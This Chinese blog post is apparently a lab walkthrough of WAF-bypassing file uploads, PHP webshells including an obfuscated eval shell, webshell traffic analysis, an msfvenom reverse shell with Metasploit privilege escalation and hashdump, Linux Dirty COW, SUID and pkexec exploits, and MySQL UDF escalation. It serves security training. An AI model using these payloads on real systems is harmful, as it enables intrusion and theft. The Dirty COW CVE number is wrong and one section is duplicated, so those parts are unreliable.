WAF繞過,網絡層面后門分析,Windows/linux/數據庫提權實驗

一、WAF繞過文件上傳漏洞

win7:10.0.0.168
思路:要想要繞過WAF,第一步是要根據上傳的內容找出來被攔截的原因。對于文件上傳有三個可以考慮的點:文件后綴名,文件內容,文件類型。
第二步是根據找出來的攔截原因進行針對性的繞過。
?
在整個實驗過程中,dvwa的環境為安全等級為低,只為了演示WAF的繞過方法。如果安全等級為中的話,則還需要進行文件類型的繞過(因為網站本身對文件類型有一個繞過)。
在沒有WAF的情況下,文件上傳就是上傳帶有攻擊特性的木馬文件,通過大小寫,圖片馬,雙寫,文件類型更改等方式進行繞過。
1、找出WAF攔截的原因:
(1)我們先上傳一個內容為“123”的.php文件(內容正常,但是后綴是php文件),在上傳一個內容一樣的但是后綴為txt的文件,如果.php后綴被攔截了,說明WAF攔截的是文件后綴名,如果沒有被攔截,則繼續進行測試。
(2)上傳一個內容是“<?php phpinfo();?>”或者一句話木馬“<?php @eval($_POST['a']);?>”,但是后綴是正常的txt或者png;在上傳一個內容為123456的正常文件,后綴和前面保持一致要么都是txt要么都是png。來驗證是否攔截的是文件內容,如果一句話木馬被攔截,則說明攔截的是文件內容。
(3)上傳文件內容為123456,后綴為.txt的文件,通過抓包將文件的文件類型進行修改,一種文件類型為image,一種為php,看看是否會被攔截。
?
排除攔截原因采用的方法是控制變量法,保證其他兩個內容相同,來改變其中的一個因素,從而確定WAF攔截的是什么。通過實驗,這里我們確定了安全狗攔截的是文件的文件的后綴。

2、攔截后綴的繞過
(1)通過雙寫filename=;filename="phpinfo.php"
phpinfo.php文件內容為<?php phpinfo();?>
實驗步驟:對于提交文件的網頁進行數據截取抓包--在抓到的數據包中在內容描述那里進行filename雙寫--將包放過去--完成繞過。
實驗原理是:網站是通過文件名來進行文件后綴的判斷的,當檢測到filename的時候已經有一個分號,則會停止往后面繼續進行檢查(也有一部分原因是因為WAF的檢測時間是非常有限的)。

(2)利用無用文件頭繞過
在請求正文那里加入大量的無用數據(注意要和請求頭中間空一行)(上傳phpinfo.php)。如果發現不成功的原因一定是加入的無用數據不夠多。
原理:使用大量的無用文件頭來消耗WAF的檢測時間,導致還沒有檢測到文件后綴的時候WAF已經沒有時間繼續進行往下面檢測了,只能將數據包放過去。

(3)繞過內容檢測
當直接上傳一個一句話木馬文件post.php的時候,使用雙寫filename=;進行文件后綴繞過,可以上傳成功,但是無法進行訪問,因為這個一句話木馬的攻擊特性太過于明顯了。我們需要準備一個攻擊特征不明顯的代碼,但是語義保持不變,即上傳免殺一句話木馬。
<?php
? ?$name = $_GET[1];
? ?$name = substr($name,0);
? ?eval("echo 123;" . $name."echo 456; ");
?>
原理:上面的免殺一句話木馬經過三步處理以后,“直接執行用戶的輸入”這個事情的特征變得沒有那么明顯。
操作:上傳bypass文件--上傳成功--訪問--1=phpinfo()
也可以將免傷木馬換為post方式,然后使用蟻劍進行連接--連接成功。

(4)利用00截斷繞過--解決向上上傳的問題
上傳文件,將文件名改為phpinfo.php;,jpg,也就是在文件名后面加;,jpg,將jpg改為png也可以。
操作:對于上面的頁面請求包進行攔截--點擊Hex--把3b修改成00--進行上傳--上傳成功。(一定要在十六進制下面將3b改為00才可以。)

二、Webshell網絡層面后門分析

采用Wireshark來檢測蟻劍的流量;

  • Wireshark是一款抓包工具,但是其只能對于數據包進行獲取,不能修改數據包;優點為可以抓取各種協議的數據包。

  • Burp只能抓取http協議的數據包,優點是可以對數據包進行修改。

實驗環境:phpstudy+DVWA+wireshark
1、自己搭建一個dvwa網站.
2、使用dvwa中的low等級進行文件上傳post.php,上傳成功,webshell;

3、進行蟻劍連接--測試連接--連接成功--打開虛擬終端。
4、打開wireshark工具--進入后添加地址--發現流量,采用語法進行流量過濾分析:
ip.dst==10.0.0.168&&http ? --查詢目的IP是10.0.0.167并且協議為http的流量包
ip.src==10.0.0.168&&http ? --只顯示源地址是該ip的數據包
ip.addr==10.0.0.168&&http ?--只要涉及到該ip的無論是響應包還是請求包都會顯示出來
5、右擊數據包,追蹤http流,即可以發現蟻劍執行命令的流量包。
6、顏色為紅底的是請求包:%兩位十六位進制是URL編碼方式--將請求包進行url解碼,監測到蟻劍的流量包。
7、對數據包進行分析:出現runcmd,fget,exec,passthru,putenv,run shellshock等這些命令執行函數或者命令的時候說明這個數據包不安全。

三、Windows提權實戰

1、環境
win7+kali linux
kali的ip:10.0.0.162
win7的ip:10.0.0.168
2、通過文件上傳漏洞成功上傳一句話木馬--拿下webshell--使用蟻劍進行連接。

3、攻擊思路
使用msf制作后門程序--通過webshell上傳后門程序--kali開啟監聽--在windows中運行后門程序,反彈shell--kali msf拿到meterpreter權限--對目標及其進行掃描,找到提權漏洞實現提權--利用漏洞實現提權--獲取管理員的賬號密碼
(1) 使用msf制作后門程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.162 lport=5555 -f exe -o 5555.exe ? // lhost 需改成kali機器的IP
(-p設置payload;lhost監聽ip;lport監聽端口;-f文件類型;-o文件名)

(2) 將生成的5555.exe復制到物理機上面--利用文件上傳漏洞將其上傳(在蟻劍中右擊進行文件上傳)--上傳成功

(3) kali開啟監聽(和制作后門程序的設置保持一致)
msfconsole
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.0.162
set lport 5555
exploit
(4)回到蟻劍中,打開虛擬終端,輸入5555.exe回車即為執行該文件--kali中收到反彈shell--拿到meterpreter會話--輸入getuid查看當前權限。

(5)查找可以提權的漏洞(如果查詢失敗了可以多查詢幾次)
run post/windows/gather/enum_patches 查看補丁信息
run post/multi/recon/local_exploit_suggester 查詢哪些提權exp可以用
綠色字體的即為可以利用該漏洞進行提權
輸入background --將當前會話保存在后臺

(6)漏洞利用--在監聽的命令提示符后面直接輸入
search ms14_058
use 2 ?--針對windows x64
options --這里發現只需要輸入可用的會話即可
session -l ? --展示當前的會話
set session 1
set payload windows/x64/meterpreter/reverse_tcp
exploit
成功返回meterpreter,輸入getuid發現用戶變為system權限
shell進入cmd的shell,執行whoami--發現提權成功
輸入ipconfig亂碼時輸入chcp 437.
(7)獲取管理員的密碼--輸入hashdump--將密碼進行md5解碼即可。

四、Linux提權實戰

1、Linux臟牛提權-CVE-2016-5159

漏洞原理:CVE-2016-5159,即Dirty Cow,俗稱臟牛漏洞。本質是linux內核的子系統在處理寫入時復制產生了條件競爭,惡意用戶可以利用此漏洞來獲取高權限。

臟牛提權:提權之前為msfadmin權限。

1、操作環境:Metasploitable-2
# 下載--是一個操作系統,需要將其安裝在虛擬機中。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
--下載好文件--解壓縮--選擇.vmk后綴的文件右擊,選擇vmware打開,然后會跳轉到vmware中,選擇打開虛擬機--點擊我已經復制好虛擬機--然后虛擬機開始運行--使用賬號密碼進行登錄--即可使用。
# 賬號密碼
msfadmin/msfadmin

2、具體操作
(1)上傳提權exp dirty.c。--這個腳本的意思是將root的權限復制給要新創建的用戶firefart中。
xshell中有一個sftp功能--點擊一下子就會進入sftp功能下面,提示符為:sftp:/home/msfadmin>,這個時候就可以進行遠程文件的傳輸了--有以下命令較為常用:
pwd 是查看遠程服務器的當前目錄路徑;
lpwd 是查看本地電腦的當前目錄路徑;
cd 是切換遠程服務器的目錄;
lcd 是切換本地電腦的目錄;
ls 是查看 sftp 服務器的當前目錄的文件信息;
lls 是查看本地電腦的當前目錄的文件信息;
put 是上傳文件(從本地電腦到遠程服務器);
get 是下載文件(從遠程服務器到本地電腦);
exit/quit,退出
我們現在是要將windows里面的文件上傳至linux中:
cd ?目錄A ? 設置要將文件上傳到linux中的哪個目錄中
lcd ?目錄B ?這是要將windows中的哪個目錄中文件進行上傳(路徑要是全英文,如果有中文會爆粗)
put ?文件名 這是要下載的文件的文件名
然后回到linux中,就可以看到目錄A下面有已經上傳的文件了。
--在sftp中輸入命令:dirty.c在windows的E:\Softdown\xshell\files目錄下,將文件上傳至linux中的/home/msfadmin目錄。
cd /home/msfadmin
lcd ?E:\Softdown\xshell\files
put dirty.c
--在linux的/home/msfadmin目錄下面ls,則可以看到上傳的dirty.c.文件。

(2)使用xshell連接操作系統。
(3)使用gcc進行編譯:gcc -pthread dirty.c -o dirty -lcrypt
(4)進行提權(root是任意輸入的密碼):./dirty root(設置新建用戶的密碼是root)
(5)cat /etc/passwd發現多了一個用戶firefart.
(6)su firefart password:root ?--這是將用戶轉換為firefart,密碼為root剛才設置的。
(7)whoami --提權成功。

2、SUID提權

  • SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。如果擁有SUID權限,那么就可以利用系統中的二進制文件和工具來進行root提權。

  • 舉個例子:vim文件具備s權限,即vim命令具備s權限,其擁有者是root;www-data用戶使用vim命令時,可以短暫獲得root權限,如果能抓住這短暫的時間執行系統命令,其實就相當于是以root用戶的權限去做執行操作。

  • SUID提權其本質是一直都是普通用戶,不過在進行某些操作的時候會短暫的擁有管理員權限。并未將當前用戶提權為root用戶。

操作環境:docker pull docker.io/citizenstig/dvwa

具體操作:
(1)在dvwa安全等級是low的時候,通過文件上傳漏洞,上傳post.php文件,然后通過蟻劍進行連接,從而webshell。
(2)進入蟻劍中的網站的虛擬終端,whoami查看當前權限www-data。
(3)在這里我們使用可以用來提權的命令中的find,ls -l /usr/bin/find,發現find并沒有SUID權限,所以這里我們首先需要將find權限修改為SUID權限:(由于是自己做實驗,所以才需要進行權限的修改,一般自己打網站的時候,這些命令的權限是已經設置好的)
進入容器:
docker exec -it f05c33cb5d49 /bin/bash
chmod u+s /usr/bin/find
ls -l /usr/bin/find ? --查看權限
(4)利用find命令提權至root權限(先ls,查看當前目錄下面的文件,這里這個post.php是我使用文件上傳漏洞上傳上去webshell的文件。)
find / -name post.php -exec "whoami" \;

3、Linux Polkit本地提權--CVE-2021-4034

原理:利用linux中的Polkit服務,允許非root用戶執行管理任務,而無需授予其root權限。Polkit服務中的pkexec存在本地權限提升漏洞,已獲得普通權限的攻擊者可以通過此漏洞獲得root權限。

操作環境:docker pull docker.io/chenaotian/cve-2021-4034

(1)由于該容器中已經集成了現成的poc,我們先生成exp
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash ? --啟動容器
docker ps ?--查看運行容器的id
docker exec -it ?ed01c36a71f2 /bin/bash ? --進入容器中
cd ~ ? --回到家目錄
ls ? ? --查看加目錄下面的文件,有一個exp
cd exp --查看exp下面的文件
cd cve-2021-4034?
./run.sh ? ?--運行run.sh腳本
cat /etc/passwd ?--有一個test用戶
su test ? ?--切換為test用戶
whoami ? ? --當前用戶是test
pwd ? ? ? ?--當前目錄是/root/exp/CVE-2021-4034
ls ? ? ? ? --該目錄下面有一個exp
(2)運行exp,進行提權
./exp ? ? ?--運行exp
whoami ?-- 提權成功
su root

五、數據庫UDF提權實戰

  • 原理:UDF是Mysql的一個拓展接口,是數據庫正常的功能。可以利用UDF,通過添加命令執行函數可以執行系統命令,從而實現提權。

  • 通過添加自定義函數來幫助實現提權。

操作環境:win7+phpstudy+DVWA
UDF提權條件:
1、MYSQL版本大于5.1版本(對于現在的數據庫版本來說都已經滿足)
2、網站本身存在Getshell漏洞,可以通過webshell可以將udf.dll上傳到mysql的lib\plugin目錄下
3、掌握的mysql數據庫賬號有對mysql的insert和delete權限以創建和刪除函數
4、secure-file-priv參數不為null(在本實驗中非必須條件,可以不用管它)

具體操作流程:
1、通過網站漏洞獲取webshell(通過自己搭建的dvwa網站,在low等級下,將post.php上傳上去,實現webshell),利用蟻劍連接,在虛擬終端中輸入whoami得知當前權限。(不再贅述)
2、查找數據庫賬號密碼--在dvwa的配置文件中直接讀取(通過讀取配置文件來獲取數據庫的密碼)
3、因為mysql在默認情況下是不開啟遠程連接的,所以這里我們需要先手動打開遠程連接:
在phpstudy中打開數據庫工具SQL_Front--找到sql編輯器--運行下面語句。(這里的密碼可以設置為root)
grant all privileges on *.* to "root"@"%" identified by "root";
4、使用navicat工具來連接數據庫,連接成功
5、信息搜集:
show variables like '%compile%'; ?--查詢mysql數據庫系統位數
show variables like 'plugin%'; ? ?--查看/lib/plugin的具體路徑,方便將.dll文件上傳到準去位置,查詢到位置之后將路徑進行復制--C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

6、如何滿足UDF提權的第四個條件:
在蟻劍中--找到/phpstudy_pro/Extensions/MySQL5.7.26/my.ini--在配置文件中直接寫入secure-file-priv=--保存--phpstudy--mysql重啟生效
7、制作提權dll
(1)查找dll文件--在自己安裝的sqlmap文件夾目錄下面進行查找
sqlmap中有編碼后的dll文件,一般情況下路徑為:
sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
我自己的路徑為:E:\Softdown\SQLMAP\SQLmap\SQLmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
(2)查找cloak.py文件--同樣的在安裝了sqlmap目錄下面進行查找
根據mysql的位數來進行dll文件的查找。需要利用cloak.py進行解碼獲得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目錄下,找到cloak.py.
(3)將找到的.dll文件和cloak.py文件放在一個新建的文件夾中,在該文件夾中cmd--運行
python cloak.py -d -i lib_mysqludf_sys.dll_ ?
--會在該文件夾中生成一個dll文件.

8、將dll文件上傳到第五步通過信息搜集獲取到的路徑中。--使用蟻劍進行上傳
mysql默認安裝的時候沒有lib\plugin目錄,這里可以直接新建這兩個目錄--將第7(3)生成的那個dll文件上傳至該路徑中。
9、創建sys_eval函數(在數據庫中執行),進行提權
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用該函數進行提權:select sys_eval('whoami');--提權失敗。(原因以及解決辦法詳見下面的注意事項。)

8、將dll文件上傳到第五步通過信息搜集獲取到的路徑中。--使用蟻劍進行上傳
mysql默認安裝的時候沒有lib\plugin目錄,這里可以直接新建這兩個目錄--將第7(3)生成的那個dll文件上傳至該路徑中。
9、創建sys_eval函數(在數據庫中執行),進行提權
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用該函數進行提權:select sys_eval('whoami');--提權失敗。(原因以及解決辦法詳見下面的注意事項。)

注意:基于數據庫的提權只能提權到部署用戶的權限,如果部署用戶是普通用戶,則只能提到普通用戶的權限。在我們的上面的部署數據庫的過程中,權限一直都是普通用戶。我們安裝的win7是一個干凈的操作系統,默認沒有開啟administrator權限。

在虛擬機win7中:啟動administrator權限:cmd(以管理員身份進行運行)--
net user administrator /active:yes
net user administrator magedu ? --設置密碼
--切換用戶登錄(在電腦開始那里可以直接選擇切換用戶,切換為adminstrator)--在phpstudy進行mysql重啟--此時是以administrator權限進行mysql部署的,再次執行select sys_eval('whoami');--提權成功。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/85617.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/85617.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/85617.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

一文學會c++中的內存管理知識點

文章目錄 c/c內存管理c語言動態內存管理c動態內存管理new/delete自定義類型妙用operator new和operator delete malloc/new&#xff0c;free/delete區別 c/c內存管理 int globalVar 1;static int staticGlobalVar 1;void Test(){static int staticVar 1;int localVar 1;in…

深入解析Linux死鎖:原理、原因及解決方案

Linux死鎖是系統資源管理的致命陷阱&#xff0c;平均每年導致全球數據中心約??3.7億小時??的服務中斷。本文深度剖析死鎖形成的??四個必要條件??和六種典型死鎖場景&#xff0c;結合Linux內核源碼層級的資源管理機制&#xff0c;揭示文件系統鎖、內存分配、多線程同步等…

SKUA-GOCAD入門教程-第八節 線的創建與編輯2

8.1.3根據線創建曲線 (1)從線生成線 這個命令可以將一組曲線合并為一條曲線。每個輸入曲線都會成為新曲線內的一個部分。 1、選擇 Curve commands > New > Curves 打開對話框。 圖1 根據曲線創建曲線 在“name”框中

『uniapp』把接口的內容下載為txt本地保存 / 讀取本地保存的txt文件內容(詳細圖文注釋)

目錄 預覽效果思路分析downloadTxt 方法readTxt 方法 完整代碼總結 歡迎關注 『uniapp』 專欄&#xff0c;持續更新中 歡迎關注 『uniapp』 專欄&#xff0c;持續更新中 預覽效果 思路分析 downloadTxt 方法 該方法主要完成兩個任務&#xff1a; 下載 txt 文件&#xff1a;通…

攻防世界-unseping

進入環境 在獲得的場景中發現PHP代碼并進行分析 編寫PHP編碼 得到 Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319 將其傳入 想執行ls&#xff0c;但是發現被過濾掉了 使用環境變量進行繞過 $a new…

IP查詢與網絡風險的關系

網絡風險場景與IP查詢的關聯 網絡攻擊、惡意行為、數據泄露等風險事件頻發&#xff0c;而IP地址作為網絡設備的唯一標識&#xff0c;承載著關鍵線索。例如&#xff0c;在DDoS惡意行為中&#xff0c;攻擊者利用大量IP地址發起流量洪泛&#xff1b;惡意行為通過變換IP地址繞過封…

pikachu通關教程-XSS

XSS XSS漏洞原理 XSS被稱為跨站腳本攻擊&#xff08;Cross Site Scripting&#xff09;&#xff0c;由于和層疊樣式表&#xff08;Cascading Style Sheets&#xff0c;CSS&#xff09;重名&#xff0c;改為XSS。主要基于JavaScript語言進行惡意攻擊&#xff0c;因為js非常靈活…

【時時三省】(C語言基礎)數組作為函數參數

山不在高&#xff0c;有仙則名。水不在深&#xff0c;有龍則靈。 ----CSDN 時時三省 調用有參函數時&#xff0c;需要提供實參。例如sin ( x )&#xff0c;sqrt ( 2&#xff0c;0 )&#xff0c;max ( a&#xff0c;b )等。實參可以是常量、變量或表達式。數組元素的作用與變量…

硬件工程師筆記——555定時器應用Multisim電路仿真實驗匯總

目錄 一 555定時器基礎知識 二、引腳功能 三、工作模式 1. 單穩態模式&#xff1a; 2. 雙穩態模式&#xff08;需要外部電路輔助&#xff09;&#xff1a; 3. 無穩態模式&#xff08;多諧振蕩器&#xff09;&#xff1a; 4. 可控脈沖寬度調制&#xff08;PWM&#xff09…

C++11特性:enum class(強枚舉類型)詳解

C11引入的 enum class&#xff08;強枚舉類型&#xff09;解決了傳統枚舉的多個問題&#xff1a; 防止枚舉值泄漏到外部作用域&#xff1b;禁止不同枚舉間的隱式轉換&#xff1b;允許指定底層數據類型優化內存&#xff1b;避免命名空間污染。 其基本語法為 enum class Name{.…

【QT】QString 與QString區別

在C中&#xff0c;QString 和 QString& 有本質區別&#xff0c;尤其是在參數傳遞和內存管理方面&#xff1a; 1. QString&#xff08;按值傳遞&#xff09; 創建副本&#xff1a;傳遞時會創建完整的字符串副本內存開銷&#xff1a;可能涉及深拷貝&#xff08;特別是大字符…

提升四級閱讀速度方法

以下是針對四級英語閱讀速度提升的系統性解決方案&#xff0c;結合最新考試規律和高效訓練方法&#xff0c;分五個核心模塊整理&#xff1a; &#x1f680; ??一、基礎提速訓練&#xff08;消除生理障礙&#xff09;?? ??擴大視幅范圍?? 從逐詞閱讀升級為 ??意群閱讀…

6.4 note

構造矩陣 class Solution { private: vector<int> empty {}; // 返回每個數字(-1)所在的序號&#xff0c;可以是行或列, 如果為空則無效 vector<int> topoSort(int k, vector<vector<int>>& conditions) { // 構建一個圖…

SCSS 全面深度解析

一、SCSS 入門指南&#xff1a;為你的 CSS 工作流注入超能力 在現代 Web 開發中&#xff0c;樣式表的復雜性和維護成本日益增加。為了應對這一挑戰&#xff0c;CSS 預處理器應運而生&#xff0c;而 SCSS (Sassy CSS) 正是其中最流行、最強大的工具之一。本指南將帶你深入了解 …

R1-Searcher++新突破!強化學習如何賦能大模型動態知識獲取?

R1-Searcher新突破&#xff01;強化學習如何賦能大模型動態知識獲取&#xff1f; 大語言模型&#xff08;LLM&#xff09;雖強大卻易因靜態知識產生幻覺&#xff0c;檢索增強生成&#xff08;RAG&#xff09;技術成破局關鍵。本文將解讀R1-Searcher框架&#xff0c;看其如何通…

圖神經網絡原理及應用簡介

圖神經網絡&#xff08;Graph Neural Networks, GNNs&#xff09;原理及應用 1. 圖神經網絡的基本概念 圖神經網絡是一種專門用于處理圖結構數據的深度學習模型。圖&#xff08;Graph&#xff09;由節點&#xff08;Node&#xff09;和邊&#xff08;Edge&#xff09;組成&…

Unity 限制物體在Bounds 包圍盒控制移動

我列舉兩種方式&#xff0c;其實最終都是涉及到包圍盒使用問題。可以通過 Box Collider 的 bounds 屬性來獲取物體的包圍盒&#xff08;Bounds&#xff09;也可以直接設置Bounds包圍盒使用&#xff0c;從而限制其移動范圍。不過需要注意&#xff0c;直接使用 Box Collider 的 s…

SpringBoot中緩存@Cacheable出錯

SpringBoot中使用Cacheable: 錯誤代碼&#xff1a; Cacheable(value "FrontAdvertiseVOList", keyGenerator "cacheKey") Override public List<FrontAdvertiseVO> getFrontAdvertiseVOList(Integer count) {return this.list(Wrappers.<Adve…

位集合(STL bitset)簡介

【bitset 官方網址】 https://cplusplus.com/reference/bitset/bitset/ 位集合&#xff08;Bit Set&#xff09;是一種高效存儲和操作布爾值&#xff08;true/false&#xff09;或二進制位&#xff08;0/1&#xff09;的數據結構&#xff0c;主要用于處理大規模整數集合或狀態標…

基于SDN環境下的DDoS異常攻擊的檢測與緩解

參考以下兩篇博客&#xff0c;最后成功&#xff1a; 基于SDN的DDoS攻擊檢測和防御方法_基于sdn的ddos攻擊檢測與防御-CSDN博客 利用mininet模擬SDN架構并進行DDoS攻擊與防御模擬&#xff08;Ryumininetsflowpostman&#xff09;_mininet模擬dos攻擊-CSDN博客 需求 H2 模擬f…